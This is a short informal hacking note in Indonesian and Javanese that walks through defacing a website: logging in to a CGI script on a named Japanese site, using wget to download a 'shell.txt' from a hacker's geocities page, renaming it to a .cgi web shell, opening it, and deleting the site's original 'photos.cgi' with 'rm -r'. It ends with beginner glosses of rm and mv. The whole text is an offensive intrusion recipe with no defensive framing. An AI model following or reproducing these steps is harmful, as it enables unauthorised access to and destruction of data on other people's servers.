pertama edit dl shell cginya 
login dulu ke cginya contoh:
http://www.katashinakougen.jp/cgi-bin/photos.cgi
trus 
wget geocities.com/hackercupu_cupu06/shell.txt
trus
mv shell.txt buklet.cgi
wis
trus
login nang http://www.katashinakougen.jp/cgi-bin/buklet.cgi
trus
trus : rm -r photos.cgi
wis
rm -r photos.cgi << iki printah ngedel
rm = remove
]mv = move <-- mindah/rename